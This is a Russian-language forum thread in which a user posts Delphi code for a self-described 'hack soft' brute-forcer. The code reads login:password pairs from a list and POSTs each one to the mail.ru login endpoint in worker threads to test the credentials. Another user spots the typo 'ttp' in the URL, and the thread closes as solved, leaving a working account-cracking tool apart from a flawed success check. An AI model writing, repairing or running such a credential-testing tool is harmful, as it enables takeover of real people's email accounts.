[Решено] [Delphi] Нужна помощь

Дата: Среда, 24.09.2014, 11:19 | Сообщение # 1

Местный

Группа: Продвинутые

Сообщений: 669

Награды: 2

Город: новокузнецк

Репутация: 158

Замечания: 40%

Статус:

Доброго времени суток.
Уважаемые знатоки/кодеры, нужна ваша помощь по delphi.
Суть проблемы:
Пишу хаксофт( брут ), но столкнулся с проблемой, при нажатии кнопки старт вылетает ошибка "A call to an OS function failed" и следовательно программа не работает.

[cut noguest=Код][pwn]procedure Potok.Execute;
var
nast: integer;
Param: TStringList;
TResult: TStringList;
http: TIdHTTP;
begin
inherited;
ShowMessage( '1' );
while startWork do
begin
ShowMessage( '2' );
crSec.Enter;
inc( acc );
ShowMessage( '3' );
if acc < mails.Count then nast:= acc else startWork := false;
crSec.Leave;
ShowMessage( '4' );
if startWork = true then
begin
ShowMessage( '5' );
http:= TIdHTTP.Create( nil );
loginPath := Copy( mails[ nast ], 1, pos( ':', mails[ nast ] ) -1 );
passPath := Copy( mails[ nast ], pos( ':', mails[ nast ] ) +1, length( mails[ nast ] ) );
ShowMessage( '6' );
TResult:= TStringList.Create;
Param:= TStringList.Create;
//Post запрос на mail.ru
//http://www.mail.ru/cgi-bin/auth?Login=your_login&Domain=mail.ru&Password=your_password
ShowMessage( '7' );
Param.Add( 'Login=' +loginPath );
Param.Add( '&Domain=mail.ru&' );
Param.Add( 'Password=' +passPath );
TResult.Text:= http.Post( 'ttp://www.mail.ru/cgi-bin/auth?', Param );

ShowMessage( '8' );
if pos( 'logout', Param.Text ) <> 0 then result:= 1 else result:= -1;
ShowMessage( '9' );
http.Free;
Param.Free;
Synchronize( Sunch );
ShowMessage( '10' );
end;
end;
ShowMessage( '11' );
dec( Tpotok );
if Tpotok = 0 then ShowMessage( 'Готово...' );
end;[/pwn][/cut]

До 8 не доходит "ShowMessage( '8' );"

Буду очень благодарен за помощь.
За ранее спасибо.

PS. Не знал в каком разделе создать тему, по этому создал тут.

======= Мои проекты =======
[GM]Zombie Mod [Разработка][7%]
=======================

=====Мои работы=====
[FS] Auto Menu
[FS] AdminPanel

an21

Дата: Среда, 24.09.2014, 14:42 | Сообщение # 2

Уверенный в себе

Группа: Продвинутые

Сообщений: 150

Награды: 1

Город: localhost

Репутация: 233

Замечания: 0%

Статус:

не работаю в дельфи, не разбирался в коде, но ttp?

Цитата DiZi (

)

TResult.Text:= http.Post( 'ttp://www.mail.ru/cgi-bin/auth?', Param );

silver break project developer

DiZi

Дата: Среда, 24.09.2014, 16:22 | Сообщение # 3

Местный

Группа: Продвинутые

Сообщений: 669

Награды: 2

Город: новокузнецк

Репутация: 158

Замечания: 40%

Статус:

Проблему решил, можно закрыть тему.
an21, Да, проблема была именно в этом

======= Мои проекты =======
[GM]Zombie Mod [Разработка][7%]
=======================

=====Мои работы=====
[FS] Auto Menu
[FS] AdminPanel

Dima-kun

Дата: Среда, 24.09.2014, 16:41 | Сообщение # 4

Группа: Разработчики

Сообщений: 6269

Награды: 72

Репутация: 3512

Замечания: 0%

Статус:

Закрыто.

Мои работы:
[INC] Сборник d_includes [LAST],[FS] New Demage Effect,[FS]Авто-Поворотники,
[FS]mp3player,[FS] Fun Chat Game,[FS] Car Buy Syst,[FS] Anti-AirBrk,[INC] d_setpos,
[GM] Game Move v0.1,[FS+include]Super-Armour [0.3z],[FS + Include] Multi Checkpoints